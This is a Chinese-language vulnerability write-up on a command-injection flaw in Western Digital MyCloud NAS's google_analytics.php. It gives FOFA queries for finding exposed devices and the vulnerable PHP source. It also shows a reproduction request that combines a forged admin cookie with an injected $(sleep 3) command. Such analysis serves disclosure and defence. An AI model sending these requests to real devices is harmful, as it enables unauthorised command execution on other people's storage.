漏洞简介

Western Digital MyCloud NAS是一款网络附加存储设备，旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件，支持多种设备的备份和共享。Western Digital MyCloud NAS google_analytics.php中存在命令执行漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。

影响版本

<=2.11.153（老版本，已发布修复补丁）

fofa语法

icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"

body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "

漏洞分析

直接看 google_analytics.php 其业务实现逻辑如下

<?php
session_start();
$r = new stdClass();
$r->success = false;
include ("./lib/login_checker.php");

/* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
if (login_check()==0)
{
    echo json_encode($r);
    exit;
}

$action = $_POST['cmd'];
if ($action == "") $action = $_GET['cmd'];

$r = new stdClass();
switch ($action)
{
    case "set":
    {
       $opt = $_POST['opt'];
       $arg = $_POST['arg'];
       $run_cmd = sprintf("ganalytics --%s %s > /dev/null &", $opt, ($arg != "") ? $arg : "");

       system($run_cmd);

       $r->run_cmd = $run_cmd;
       $r->success = true;
       echo json_encode($r);
    }
    break; 
}
?>

当cmd=set时，从请求中获取 opt 和 arg 参数，在未进行任何过滤或转义的情况下，直接将其拼接到 $run_cmd中，然后用system() 函数执行的系统命令中，导致了命令注入漏洞。尽管此漏洞需要管理员权限才能触发，但可以结合login_check的权限绕过达到 rce的效果。

漏洞复现

GET /web/google_analytics.php HTTP/1.1
Host: west-nas.mrxn.ent
Cookie: isAdmin=1;username=admin

cmd=set&opt=$(sleep 3)

成功延时 3 秒